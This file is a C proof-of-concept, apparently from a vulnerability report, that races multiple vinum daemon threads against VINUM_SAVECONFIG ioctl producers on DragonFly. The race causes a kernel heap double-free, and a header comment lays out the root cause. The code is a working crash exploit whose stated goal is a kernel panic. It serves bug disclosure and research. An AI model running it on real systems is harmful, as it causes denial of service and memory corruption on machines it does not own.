DF-5094 / df5094_multidaemon.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 | /* * DF-5094 -- vinum: unbounded daemon instantiation -> concurrent daemonq * consumers -> kernel heap double-free. * * Root cause (sys/dev/raid/vinum/): * - vinumioctl.c:296 case VINUM_DAEMON: vinum_daemon(); -- no check that a * daemon is already running; every call spins up another daemon thread. * - vinumdaemon.c:73 daemonpid = curproc->p_pid; -- "single instance" * enforced only by this pid stamp, and * - vinumdaemon.c:83 the ouster check runs ONLY after tsleep() returns -- * a daemon that stays busy in the inner `while (daemonq != NULL)' loop * never re-checks, and threads of ONE process share p_pid, so the check * can never oust them anyway. * - vinumdaemon.c:89-94 the dequeue is "protected" by crit_enter()/crit_exit() * alone, which on DragonFly masks interrupts on the local CPU only; it does * NOT serialize two threads running on two different CPUs. * * Consequence: two or more daemon threads dequeue THE SAME daemonq element * (both read `request = daemonq' before either store lands) and both reach * vinumdaemon.c:177 `Free(request)' ==> kfree() of the same M_DEVBUF chunk * twice ==> double free / heap freelist corruption. The same interleave * also runs recover_io()/close_drive() twice per queued request. * * This PoC (run as root -- the vinum superdevice /dev/vinum/control is * 0600 root:wheel, vinum.c:114): * - opens /dev/vinum/control, * - starts 3 threads that issue VINUM_DAEMON (each becomes a daemon; the * ioctl never returns -- they share our pid so none is ever ousted), * - starts 4 threads spamming VINUM_SAVECONFIG (each call queues one * daemonq element via save_config(), vinumio.c:560, and kicks the * daemons with wakeup(&vinum_daemon), vinumdaemon.c:246), * - lets them fight over the queue for RUNTIME seconds. * * Success criterion: kernel panic (double free / slab freelist corruption / * "memory duplicated" style trap) or dead guest; on a serialized queue the * process just runs to completion and exits 0. * * Build: cc -O2 -pthread -o df5094_multidaemon df5094_multidaemon.c * Run: ./df5094_multidaemon 90 */ #include <sys/ioctl.h> #include <sys/ioccom.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define VINUMSAVECONFIG _IOW('F', 72, int) #define VINUMDAEMON _IOC(0, 'F', 92, 0) #define VINUMSETDAEMON _IOW('F', 94, int) #define DAEMON_NOUPDATE 4 static int fd = -1; static volatile unsigned long produced; static volatile int stopping; static void * daemon_thread(void *arg) { /* * This ioctl parks the thread in vinum_daemon()'s while(1) loop * forever (only daemonrq_return gets it out). It never returns on * a live kernel -- if it does, say so. */ ioctl(fd, VINUMDAEMON); fprintf(stderr, "daemon thread %p RETURNED (unexpected)\n", arg); return NULL; } static void * producer_thread(void *arg) { int one = 1; while (!stopping) { if (ioctl(fd, VINUMSAVECONFIG, &one) == 0) produced++; } return NULL; } int main(int argc, char **argv) { const char *devs[] = { "/dev/vinum/control", "/dev/vinum/Control", NULL }; int runtime = argc > 1 ? atoi(argv[1]) : 90; pthread_t daemons[3], producers[4]; int i, opts; for (i = 0; devs[i] != NULL; i++) { fd = open(devs[i], O_RDWR); if (fd >= 0) break; } if (fd < 0) { perror("open vinum superdevice"); return 2; } printf("opened %s, spawning 3 daemons + 4 saveconfig producers " "for %ds\n", devs[i], runtime); fflush(stdout); opts = DAEMON_NOUPDATE; ioctl(fd, VINUMSETDAEMON, &opts); /* keep it a pure no-op race */ for (i = 0; i < 3; i++) pthread_create(&daemons[i], NULL, daemon_thread, (void *)(long)i); usleep(200000); /* let them park in the daemon */ for (i = 0; i < 4; i++) pthread_create(&producers[i], NULL, producer_thread, (void *)(long)i); for (i = 0; i < runtime; i++) { sleep(1); if ((i % 10) == 9) { printf("t+%02ds: %lu saveconfig elements queued\n", i + 1, produced); fflush(stdout); } } stopping = 1; for (i = 0; i < 4; i++) pthread_join(producers[i], NULL); printf("done: %lu elements queued; daemons still running in-kernel " "(expected)\n", produced); return 0; } |